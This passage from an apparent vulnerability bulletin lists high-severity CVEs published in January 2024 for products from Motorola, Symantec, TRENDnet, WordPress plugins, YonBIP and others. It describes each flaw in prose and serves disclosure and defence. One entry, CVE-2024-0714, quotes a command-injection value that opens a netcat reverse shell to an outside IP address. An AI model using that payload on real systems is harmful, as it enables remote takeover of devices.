monitorr -- monitorr	A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	8.8	CVE-2024-0713
motorola -- mr2600	A command injection vulnerability exists in the 'SaveSysLogParams' parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed.	2024-01-26	9	CVE-2024-23626 disclosures@exodusintel.com
motorola -- mr2600	A command injection vulnerability exists in the 'SaveStaticRouteIPv4Params' parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed.	2024-01-26	9	CVE-2024-23627 disclosures@exodusintel.com
motorola -- mr2600	A command injection vulnerability exists in the 'SaveStaticRouteIPv6Params' parameter of the Motorola MR2600. A remote attacker can exploit this vulnerability to achieve command execution. Authentication is required, however can be bypassed.	2024-01-26	9	CVE-2024-23628 disclosures@exodusintel.com
motorola -- mr2600	An authentication bypass vulnerability exists in the web component of the Motorola MR2600. An attacker can exploit this vulnerability to access protected URLs and retrieve sensitive information.	2024-01-26	9.6	CVE-2024-23629 disclosures@exodusintel.com
motorola -- mr2600	An arbitrary firmware upload vulnerability exists in the Motorola MR2600. An attacker can exploit this vulnerability to achieve code execution on the device. Authentication is required, however can be bypassed.	2024-01-26	9	CVE-2024-23630 disclosures@exodusintel.com
mypresta -- manufacturers_\(brands\)_images_block	In the module mib < 1.6.1 from MyPresta.eu for PrestaShop, a guest can perform SQL injection. The methods `mib::getManufacturersByCategory()` has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.	2024-01-19	9.8	CVE-2023-46351
nautobot -- nautobot	Nautobot is a Network Source of Truth and Network Automation Platform built as a web application. All users of Nautobot versions earlier than 1.6.10 or 2.1.2 are potentially impacted by a cross-site scripting vulnerability. Due to inadequate input sanitization, any user-editable fields that support Markdown rendering, including are potentially susceptible to cross-site scripting (XSS) attacks via maliciously crafted data. This issue is fixed in Nautobot versions 1.6.10 and 2.1.2.	2024-01-23	7.1	CVE-2024-23345
ncr -- terminal_handler	Cross Site Request Forgery vulnerability in NCR Terminal Handler v.1.5.1 allows a remote attacker to obtain sensitive information and escalate privileges via a crafted script to the UserSelfService component.	2024-01-20	8.8	CVE-2023-47024
netapp -- ontap_9	ONTAP 9 versions prior to 9.9.1P18, 9.10.1P16, 9.11.1P13, 9.12.1P10 and 9.13.1P4 are susceptible to a vulnerability which could allow an authenticated user with multiple remote accounts with differing roles to perform actions via REST API beyond their intended privilege. Possible actions include viewing limited configuration details and metrics or modifying limited settings, some of which could result in a Denial of Service (DoS).	2024-01-26	7.6	CVE-2024-21985 security-alert@netapp.com
nextendweb -- smart_slider_3	Deserialization of Untrusted Data vulnerability in Nextend Smart Slider 3.This issue affects Smart Slider 3: from n/a through 3.5.1.9.	2024-01-19	8.8	CVE-2022-45845

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
nvidia -- bluefield_2_dpu_bmc_bluefield_3_dpu_bmc	NVIDIA Bluefield 2 and Bluefield 3 DPU BMC contains a vulnerability in ipmitool, where a root user may cause code injection by a network call. A successful exploit of this vulnerability may lead to code execution on the OS.	2024-01-24	7.2	CVE-2023-31037
omron -- cj-series_and_cs-series_cpu_modules	The Omron FINS protocol has an authenticated feature to prevent access to memory regions. Authentication is susceptible to bruteforce attack, which may allow an adversary to gain access to protected memory. This access can allow overwrite of values including programmed logic.	2024-01-22	8.6	CVE-2022-45790
omron -- sysmac_studio	Project files may contain malicious contents which the software will use to create files on the filesystem. This allows directory traversal and overwriting files with the privileges of the logged-in user.	2024-01-22	7.8	CVE-2022-45792
openlibraryfoundation -- mod-data-export-spring	Hard-coded credentials in FOLIO mod-data-export-spring versions before 1.5.4 and from 2.0.0 to 2.0.2 allows unauthenticated users to access critical APIs, modify user data, modify configurations including single-sign-on, and manipulate fees/fines.	2024-01-19	9.1	CVE-2024-23687
openvswitch -- openvswitch	openvswitch 2.17.8 was discovered to contain a memory leak via the function xmalloc__ in openvswitch-2.17.8/lib/util.c.	2024-01-19	7.5	CVE-2024-22563
orthanc -- osimis_dicom_web_viewer	A XSS payload can be uploaded as a DICOM study and when a user tries to view the infected study inside the Osimis WebViewer the XSS vulnerability gets triggered. If exploited, the attacker will be able to execute arbitrary JavaScript code inside the victim's browser.	2024-01-23	7.1	CVE-2023-7238 ics-cert@hq.dhs.gov
pcman_ftp_server_project -- pcman_ftp_server	A vulnerability has been found in PCMan FTP Server 2.0.7 and classified as problematic. This vulnerability affects unknown code of the component PUT Command Handler. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251554 is the identifier assigned to this vulnerability.	2024-01-19	7.5	CVE-2024-0731
pcman_ftp_server_project -- pcman_ftp_server	A vulnerability was found in PCMan FTP Server 2.0.7 and classified as problematic. This issue affects some unknown processing of the component STOR Command Handler. The manipulation leads to denial of service. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251555.	2024-01-19	7.5	CVE-2024-0732
peteroupc -- cbor	Inefficient algorithmic complexity in DecodeFromBytes function in com.upokecenter.cbor Java implementation of Concise Binary Object Representation (CBOR) versions 4.0.0 to 4.5.1 allows an attacker to cause a denial of service by passing a maliciously crafted input. Depending on an application's use of this library, this may be a remote attacker.	2024-01-19	7.5	CVE-2024-23684
pimcore -- admin-ui-classic-bundle	Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter `selectedIds` is susceptible to SQL Injection. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue.	2024-01-24	8.8	CVE-2024-23646
pimcore -- admin-ui-classic-bundle	Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The password reset functionality sends to the the user requesting a password change an email containing an URL to reset its password. The URL sent contains a unique token, valid during 24 hours, allowing the user to reset its password. This token is highly sensitive; as an attacker able to retrieve it would be able to resets the user's password. Prior to version 1.2.3, the reset-password URL is crafted using the "Host" HTTP header of the request sent to request a password reset. This way, an external attacker could send password requests for users, but specify a "Host" header of a website that they control. If the user receiving the mail clicks on the link, the attacker would retrieve the reset token of the victim and perform account takeover. Version 1.2.3 fixes this issue.	2024-01-24	8.8	CVE-2024-23648
prestashopmodules -- sliding_cart_block	In the module "Sliding cart block" (blockslidingcart) up to version 2.3.8 from PrestashopModules.eu for PrestaShop, a guest can perform SQL injection.	2024-01-19	9.8	CVE-2023-50028
projectworlds -- online_time_table_generator	A vulnerability, which was classified as critical, was found in Project Worlds Online Time Table Generator 1.0. This affects an unknown part of the file course_ajax.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251553 was assigned to this vulnerability.	2024-01-19	9.8	CVE-2024-0730

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
properfraction -- profilepress	Deserialization of Untrusted Data vulnerability in ProfilePress Membership Team Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress. This issue affects Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content - ProfilePress: from n/a through 4.3.2.	2024-01-19	7.2	CVE-2022-45083
prosshd -- prosshd	A vulnerability was found in ProSSHD 1.2 on Windows. It has been declared as problematic. This vulnerability affects unknown code. The manipulation leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251548.	2024-01-19	7.5	CVE-2024-0725
python -- pillow	Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter).	2024-01-19	8.1	CVE-2023-50447
quantumcloud -- chatbot_with_ai	Deserialization of Untrusted Data vulnerability in QuantumCloud ChatBot with AI. This issue affects ChatBot with AI: from n/a through 5.1.0.	2024-01-24	8.7	CVE-2024-22309
red-hat -- quarkus	A flaw was found in the json payload. If annotation based security is used to secure a REST resource, the JSON body that the resource may consume is being processed (deserialized) prior to the security constraints being evaluated and applied. This does not happen with configuration based security.	2024-01-25	8.6	CVE-2023-6267
red_hat -- libtiff	An out-of-memory flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFRasterScanlineSize64() API. This flaw allows a remote attacker to cause a denial of service via a crafted input with a size smaller than 379 KB.	2024-01-25	7.5	CVE-2023-52355
red_hat -- libtiff	A segment fault (SEGV) flaw was found in libtiff that could be triggered by passing a crafted tiff file to the TIFFReadRGBATileExt() API. This flaw allows a remote attacker to cause a heap-buffer overflow, leading to a denial of service.	2024-01-25	7.5	CVE-2023-52356
red_hat -- ovirt-engine	An authentication bypass vulnerability was found in overt-engine. This flaw allows the creation of users in the system without authentication due to a flaw in the CreateUserSession command.	2024-01-25	9.1	CVE-2024-0822
red_hat -- shim	A remote code execution vulnerability was found in Shim. The Shim boot support trusts attacker-controlled values when parsing an HTTP response. This flaw allows an attacker to craft a specific malicious HTTP request, leading to a completely controlled out-of-bounds write primitive and complete system compromise.	2024-01-25	8.3	CVE-2023-40547
smsot -- smsot	A vulnerability was found in Smsot up to 2.12. It has been classified as critical. Affected is an unknown function of the file /api.php of the component HTTP POST Request Handler. The manipulation of the argument data[sign] leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251556.	2024-01-19	9.8	CVE-2024-0733
smsot -- smsot	A vulnerability was found in Smsot up to 2.12. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /get.php. The manipulation of the argument tid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251557 was assigned to this vulnerability.	2024-01-19	9.8	CVE-2024-0734
snp_digital -- salesking	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in SNP Digital SalesKing. This issue affects SalesKing: from n/a through 1.6.15.	2024-01-24	7.5	CVE-2024-22154
sofastack -- sofa-rpc	SOFARPC is a Java RPC framework. SOFARPC defaults to using the SOFA Hessian protocol to deserialize received data, while the SOFA Hessian protocol uses a blacklist mechanism to restrict deserialization of potentially dangerous classes for security protection. But, prior to version 5.12.0, there is a gadget chain that can bypass the SOFA Hessian blacklist protection mechanism, and this gadget chain only relies on JDK and does not rely on any third-party components. Version 5.12.0 fixed this issue by adding a blacklist. SOFARPC also provides a way to add additional blacklists. Users can add a class like `-Drpc_serialize_blacklist_override=org.apache.xpath.` to avoid this issue.	2024-01-23	9.8	CVE-2024-23636
soflyy -- export_any_wordpress_data_to_xml\/csv	The Import any XML or CSV File to WordPress plugin before 3.7.3 accepts all zip files and automatically extracts the zip file into a publicly accessible directory without sufficiently validating the extracted file type. This may allows high privilege users such as administrator to upload an executable file type leading to remote code execution.	2024-01-22	7.2	CVE-2023-7082

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
sourcefabric -- phoniebox	A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.5.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file userScripts.php of the component HTTP Request Handler. The manipulation of the argument folder with the input ;nc 104.236.1.147 4444 -e /bin/bash; leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251540. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	9.8	CVE-2024-0714
splashtop -- splashtop_software_updater	The C:\Program Files (x86)\Splashtop\Splashtop Software Updater\uninst.exe process creates a folder at C:\Windows\Temp~nsu.tmp and copies itself to it as Au_.exe. The C:\Windows\Temp~nsu.tmp\Au_.exe file is automatically launched as SYSTEM when the system reboots or when a standard user runs an MSI repair using Splashtop Streamer's Windows Installer. Since the C:\Windows\Temp~nsu.tmp folder inherits permissions from C:\Windows\Temp and Au_.exe is susceptible to DLL hijacking, standard users can write a malicious DLL to it and elevate their privileges.	2024-01-25	7.8	CVE-2023-3181 cve-coordination@google.com
splunk -- splunk_enterprise	In Splunk Enterprise for Windows versions below 9.0.8 and 9.1.3, Splunk Enterprise does not correctly sanitize path input data. This results in the unsafe deserialization of untrusted data from a separate disk partition on the machine. This vulnerability only affects Splunk Enterprise for Windows.	2024-01-22	7.5	CVE-2024-23678 prodsec@splunk.com prodsec@splunk.com
spring -- spring_framework	In Spring Framework versions 6.0.15 and 6.1.2, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition. Specifically, an application is vulnerable when all of the following are true: * the application uses Spring MVC * Spring Security 6.1.6+ or 6.2.1+ is on the classpath Typically, Spring Boot applications need the org.springframework.boot:spring-boot-starter-web and org.springframework.boot:spring-boot-starter-security dependencies to meet all conditions.	2024-01-22	7.5	CVE-2024-22233
sunnytoo -- stblogsearch	SunnyToo stblogsearch up to v1.0.0 was discovered to contain a SQL injection vulnerability via the StBlogSearchClass::prepareSearch component.	2024-01-19	9.8	CVE-2023-43985
sveltejs -- kit	SvelteKit is a web development kit. In SvelteKit 2, sending a GET request with a body eg `{}` to a built and previewed/hosted sveltekit app throws `Request with GET/HEAD method cannot have body.` and crashes the preview/hosting. After this happens, one must manually restart the app. `TRACE` requests will also cause the app to crash. Prerendered pages and SvelteKit 1 apps are not affected. `@sveltejs/adapter-node` versions 2.1.2, 3.0.3, and 4.0.1 and `@sveltejs/kit` version 2.4.3 contain a patch for this issue.	2024-01-24	7.5	CVE-2024-23641
swftools -- swftools	swftools 0.9.2 was discovered to contain a Stack Buffer Underflow via the function dict_foreach_keyvalue at swftools/lib/q.c.	2024-01-19	7.8	CVE-2024-22562
swftools -- swftools	A stack-buffer-underflow vulnerability was found in SWFTools v0.9.2, in the function parseExpression at src/swfc.c:2602.	2024-01-19	7.8	CVE-2024-22911
swftools -- swftools	A global-buffer-overflow was found in SWFTools v0.9.2, in the function countline at swf5compiler.flex:327. It allows an attacker to cause code execution.	2024-01-19	7.8	CVE-2024-22912
swftools -- swftools	A heap-buffer-overflow was found in SWFTools v0.9.2, in the function swf5lex at lex.swf5.c:1321. It allows an attacker to cause code execution.	2024-01-19	7.8	CVE-2024-22913
swftools -- swftools	A heap-use-after-free was found in SWFTools v0.9.2, in the function swf_DeleteTag at rfxswf.c:1193. It allows an attacker to cause code execution.	2024-01-19	7.8	CVE-2024-22915
swftools -- swftools	swftools0.9.2 was discovered to contain a global-buffer-overflow vulnerability via the function parseExpression at swftools/src/swfc.c:2587.	2024-01-19	7.8	CVE-2024-22919
swftools -- swftools	swftools 0.9.2 was discovered to contain a heap-use-after-free via the function bufferWriteData in swftools/lib/action/compile.c.	2024-01-19	7.8	CVE-2024-22920
swftools -- swftools	swftools 0.9.2 was discovered to contain a stack-buffer-underflow vulnerability via the function parseExpression at swftools/src/swfc.c:2576.	2024-01-19	7.8	CVE-2024-22955
swftools -- swftools	swftools 0.9.2 was discovered to contain a heap-use-after-free vulnerability via the function removeFromTo at swftools/src/swfc.c:838	2024-01-19	7.8	CVE-2024-22956
symantec -- data_loss_prevention	A buffer overflow vulnerability exists in Symantec Data Loss Prevention version 14.0.2 and before. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a crafted document to achieve code execution.	2024-01-26	9.6	CVE-2024-23617 disclosures@exodusintel.com
symantec -- deployment_solution	A buffer overflow vulnerability exists in Symantec Deployment Solution version 7.9 when parsing UpdateComputer tokens. A remote, anonymous attacker can exploit this vulnerability to achieve remote code execution as SYSTEM.	2024-01-26	10	CVE-2024-23613 disclosures@exodusintel.com
symantec -- messaging_gatewa	A buffer overflow vulnerability exists in Symantec Messaging Gateway versions 9.5 and before. A remote, anonymous attacker can exploit this vulnerability to achieve remote code execution as root.	2024-01-26	10	CVE-2024-23614 disclosures@exodusintel.com

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
y				
symantec -- messaging_gateway	A buffer overflow vulnerability exists in Symantec Messaging Gateway versions 10.5 and before. A remote, anonymous attacker can exploit this vulnerability to achieve remote code execution as root.	2024-01-26	10	CVE-2024-23615 disclosures@exodusintel.com
symantec -- server_management_suite	A buffer overflow vulnerability exists in Symantec Server Management Suite version 7.9 and before. A remote, anonymous attacker can exploit this vulnerability to achieve remote code execution as SYSTEM.	2024-01-26	10	CVE-2024-23616 disclosures@exodusintel.com
systemk_ -- nvr_504	SystemK NVR 504/508/516 versions 2.3.5SK.30084998 and prior are vulnerable to a command injection vulnerability in the dynamic domain name system (DDNS) settings that could allow an attacker to execute arbitrary commands with root privileges.	2024-01-25	9.8	CVE-2023-7227 ics-cert@hq.dhs.gov
technicolor -- tc8715d_firmware	Technicolor TC8715D devices have predictable default WPA2 security passwords. An attacker who scans for SSID and BSSID values may be able to predict these passwords.	2024-01-22	8.8	CVE-2023-47352
thomas_belser -- asgaros_forum	Deserialization of Untrusted Data vulnerability in Thomas Belser Asgaros Forum. This issue affects Asgaros Forum: from n/a through 2.7.2.	2024-01-24	8.7	CVE-2024-22284
tlsfuzzer -- python-ecdsa	The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Versions 0.18.0 and prior are vulnerable to the Minerva attack. As of time of publication, no known patched version exists.	2024-01-23	7.4	CVE-2024-23342
trendnet -- tew-800mb	A vulnerability was found in TRENDnet TEW-800MB 1.0.1.0 and classified as critical. Affected by this issue is some unknown functionality of the component POST Request Handler. The manipulation of the argument DeviceURL leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252122 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	7.2	CVE-2024-0918
trendnet -- tew-815dap	A vulnerability was found in TRENDnet TEW-815DAP 1.0.2.0. It has been classified as critical. This affects the function do_setNTP of the component POST Request Handler. The manipulation of the argument NtpDstStart/NtpDstEnd leads to command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252123. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	8.8	CVE-2024-0919
trendnet -- tew-822dre	A vulnerability was found in TRENDnet TEW-822DRE 1.03B02. It has been declared as critical. This vulnerability affects unknown code of the file /admin_ping.htm of the component POST Request Handler. The manipulation of the argument ipv4_ping/ipv6_ping leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252124. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-26	7.2	CVE-2024-0920
tutao -- tutanota	Tuta is an encrypted email service. Starting in version 3.118.12 and prior to version 3.119.10, an attacker is able to send a manipulated email so that the user can no longer use the app to get access to received emails. By sending a manipulated email, an attacker could put the app into an unusable state. In this case, a user can no longer access received e-mails. Since the vulnerability affects not only the app, but also the web application, a user in this case has no way to access received emails. This issue was tested with iOS and the web app, but it is possible all clients are affected. Version 3.119.10 fixes this issue.	2024-01-25	7.5	CVE-2024-23655
ukrsolution -- barcode_scanner_and_inventory_manager	Unrestricted Upload of File with Dangerous Type vulnerability in UkrSolution Barcode Scanner and Inventory manager. This issue affects Barcode Scanner and Inventory manager: from n/a through 1.5.1.	2024-01-24	10	CVE-2023-52221
uniview-- isc	** UNSUPPORTED WHEN ASSIGNED ** A vulnerability, which was classified as critical, has been found in Uniview ISC 2500-S up to 20210930. Affected by this issue is the function setNatConfig of the file /Interface/DevManage/VM.php. The manipulation of the argument natAddress/natPort/natServerPort leads to os command injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251696. NOTE: This vulnerability only	2024-01-22	8	CVE-2024-0778

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
	affects products that are no longer supported by the maintainer. NOTE: Vendor was contacted early and confirmed immediately that the product is end-of-life. It should be retired and replaced.			
unix4lyfe -- darkhttpd	darkhttpd before 1.15 uses strcmp (which is not constant time) to verify authentication, which makes it easier for remote attackers to bypass authentication via a timing side channel.	2024-01-22	9.8	CVE-2024-23771
vite -- vite	Vite is a frontend tooling framework for javascript. The Vite dev server option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users are advised to upgrade. Users unable to upgrade should restrict access to dev servers.	2024-01-19	7.5	CVE-2024-23331
weaver -- e-cology	An issue in weaver e-cology v.10.0.2310.01 allows a remote attacker to execute arbitrary code via a crafted script to the FrameworkShellController component.	2024-01-20	9.8	CVE-2023-51892
webtoffee -- order_export_&_order_import_for_woocommerce	Unrestricted Upload of File with Dangerous Type vulnerability in WebToffee Order Export & Order Import for WooCommerce. This issue affects Order Export & Order Import for WooCommerce: from n/a through 2.4.3.	2024-01-24	8	CVE-2024-22135
webtoffee -- product_import_export_for_woocommerce	Unrestricted Upload of File with Dangerous Type vulnerability in WebToffee Product Import Export for WooCommerce. This issue affects Product Import Export for WooCommerce: from n/a through 2.3.7.	2024-01-24	8	CVE-2024-22152
webtoffee -- stripe_payment_plugin_for_woocommerce	The Stripe Payment Plugin for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 3.7.9 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.	2024-01-19	7.5	CVE-2024-0705
wordpress -- wordpress	Server-Side Request Forgery (SSRF) vulnerability in Montonio Montonio for WooCommerce, Wpopal Wpopal Core Features, AMO for WP - Membership Management ArcStone wp-amo, Long Watch Studio WooVirtualWallet - A virtual wallet for WooCommerce, Long Watch Studio WooVIP - Membership plugin for WordPress and WooCommerce, Long Watch Studio WooSupply - Suppliers, Supply Orders and Stock Management, Squidesma Theme Minifier, Paul Clark Styles styles, Designmodo Inc. WordPress Page Builder - Qards, Philip M. Hofer (Frumph) PHPFreeChat, Arun Basil Lal Custom Login Admin Front-end CSS, Team Agence-Press CSS Adder By Agence-Press, Unihost Confirm Data, deano1987 AMP Toolbox amp-toolbox, Arun Basil Lal Admin CSS MU.This issue affects Montonio for WooCommerce: from n/a through 6.0.1; Wpopal Core Features: from n/a through 1.5.8; ArcStone: from n/a through 4.6.6; WooVirtualWallet - A virtual wallet for WooCommerce: from n/a through 2.2.1; WooVIP - Membership plugin for WordPress and WooCommerce: from n/a through 1.4.4; WooSupply - Suppliers, Supply Orders and Stock Management: from n/a through 1.2.2; Theme Minifier: from n/a through 2.0; Styles: from n/a through 1.2.3; WordPress Page Builder - Qards: from n/a through 1.0.5; PHPFreeChat: from n/a through 0.2.8; Custom Login Admin Front-end CSS: from n/a through 1.4.1; CSS Adder By Agence-Press: from n/a through 1.5.0; Confirm Data: from n/a through 1.0.7; AMP Toolbox: from n/a through 2.1.1; Admin CSS MU: from n/a through 2.6.	2024-01-19	8.2	CVE-2022-40700
wordpress -- wordpress	The WPForms Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via form submission parameters in all versions up to, and including, 1.8.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	2024-01-20	7.2	CVE-2023-7063
wp_overnight -- pdf_invoices_&_packing_slips_for_wo	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WP Overnight PDF Invoices & Packing Slips for WooCommerce. This issue affects PDF Invoices & Packing Slips for WooCommerce: from n/a through 3.7.5.	2024-01-27	7.6	CVE-2024-22147

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
ocommerce				
xlightftpd -- xlight_ftp_server	A vulnerability classified as problematic was found in Xlightftpd Xlight FTP Server 1.1. This vulnerability affects unknown code of the component Login. The manipulation of the argument user leads to denial of service. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251560.	2024-01-19	7.5	CVE-2024-0737
xpand-it -- write-back_manager	An arbitrary file upload vulnerability in Xpand IT Write-back Manager v2.3.1 allows attackers to execute arbitrary code via a crafted jsp file.	2024-01-19	9.8	CVE-2023-27168
yonyou -- yonbip	An issue in yonyou YonBIP v3_23.05 allows a remote attacker to execute arbitrary code via a crafted script to the ServiceDispatcherServlet uap.framework.rc.itf.IResourceManager component.	2024-01-20	9.8	CVE-2023-51906
yonyou -- yonbip	An arbitrary file upload vulnerability in the uap.framework.rc.itf.IResourceManager interface of YonBIP v3_23.05 allows attackers to execute arbitrary code via uploading a crafted file.	2024-01-20	9.8	CVE-2023-51924
yonyou -- yonbip	An arbitrary file upload vulnerability in the nccloud.web.arcp.taskmonitor.action.ArcpUploadAction.doAction() method of YonBIP v3_23.05 allows attackers to execute arbitrary code via uploading a crafted file.	2024-01-20	9.8	CVE-2023-51925
yonyou -- yonbip	YonBIP v3_23.05 was discovered to contain a SQL injection vulnerability via the com.yonyou.hrcloud.attend.web.AttendScriptController.runScript() method.	2024-01-20	9.8	CVE-2023-51927
yonyou -- yonbip	An arbitrary file upload vulnerability in the nccloud.web.arcp.taskmonitor.action.ArcpUploadAction.doAction() method of YonBIP v3_23.05 allows attackers to execute arbitrary code via uploading a crafted file.	2024-01-20	9.8	CVE-2023-51928
yonyou -- yonbip	YonBIP v3_23.05 was discovered to contain an arbitrary file read vulnerability via the nc.bs.framework.comn.serv.CommonServletDispatcher component.	2024-01-20	7.5	CVE-2023-51926
argoproj -- argo-cd	Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. The Argo CD API prior to versions 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15 are vulnerable to a cross-server request forgery (CSRF) attack when the attacker has the ability to write HTML to a page on the same parent domain as Argo CD. A CSRF attack works by tricking an authenticated Argo CD user into loading a web page which contains code to call Argo CD API endpoints on the victim's behalf. For example, an attacker could send an Argo CD user a link to a page which looks harmless but in the background calls an Argo CD API endpoint to create an application running malicious code. Argo CD uses the "Lax" SameSite cookie policy to prevent CSRF attacks where the attacker controls an external domain. The malicious external website can attempt to call the Argo CD API, but the web browser will refuse to send the Argo CD auth token with the request. Many companies host Argo CD on an internal subdomain. If an attacker can place malicious code on, for example, https://test.internal.example.com/, they can still perform a CSRF attack. In this case, the "Lax" SameSite cookie does not prevent the browser from sending the auth cookie, because the destination is a parent domain of the Argo CD API. Browsers generally block such attacks by applying CORS policies to sensitive requests with sensitive content types. Specifically, browsers will send a "preflight request" for POSTs with content type "application/json" asking the destination API "are you allowed to accept requests from my domain?" If the destination API does not answer "yes," the browser will block the request. Before the patched versions, Argo CD did not validate that requests contained the correct content type header. So an attacker could bypass the browser's CORS check by setting the content type to something which is considered "not sensitive" such as "text/plain." The browser wouldn't send the preflight request, and Argo CD would happily accept the contents (which are actually still JSON) and perform the requested action (such as running malicious code). A patch for this vulnerability has been released in the following Argo CD versions: 2.10-rc2, 2.9.4, 2.8.8, and 2.7.15. The patch contains a breaking API change. The Argo CD API will no longer accept non-GET requests which do not specify application/json as their Content-Type. The accepted content types list is configurable, and it is possible (but discouraged) to disable the content type check completely. Users are advised to upgrade. There are no known workarounds for this vulnerability.	2024-01-19	8.3	CVE-2024-22424

High Vulnerabilities

Primary Vendor -- Product	Description	Published	CVSS Score	Source & Patch Info
asus -- armoury_crate	ASUS Armoury Crate has a vulnerability in arbitrary file write and allows remote attackers to access or modify arbitrary files by sending specific HTTP requests without permission.	2024-01-19	9.8	CVE-2023-5716 twcert@cert.org.tw
atril -- atril	Atril is a simple multi-page document viewer. Atril is vulnerable to a critical Command Injection Vulnerability. This vulnerability gives the attacker immediate access to the target system when the target user opens a crafted document or clicks on a crafted link/URL using a maliciously crafted CBT document which is a TAR archive. A patch is available at commit ce41df6.	2024-01-12	9.6	CVE-2023-51698
aveva -- pi_server	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated user to remotely crash the PI Message Subsystem of a PI Server, resulting in a denial-of-service condition.	2024-01-18	7.5	CVE-2023-34348 ics-cert@hq.dhs.gov
avo-hq -- avo	Avo is a framework to create admin panels for Ruby on Rails apps. A stored cross-site scripting (XSS) vulnerability was found in the key_value field of Avo v3.2.3 and v2.46.0. This vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser. The value of the key_value is inserted directly into the HTML code. In the current version of Avo (possibly also older versions), the value is not properly sanitized before it is inserted into the HTML code. This vulnerability could be used to steal sensitive information from victims that could be used to hijack victims' accounts or redirect them to malicious websites. Avo 3.2.4 and 2.47.0 include a fix for this issue. Users are advised to upgrade.	2024-01-16	7.3	CVE-2024-22191
beijing_baichuo -- smart_s150_management_platform	A vulnerability was found in Beijing Baichuo Smart S150 Management Platform V31R02B15. It has been classified as critical. Affected is an unknown function of the file /useratte/inc/userattea.php. The manipulation leads to improper access controls. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-251538 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	2024-01-19	7.3	CVE-2024-0712
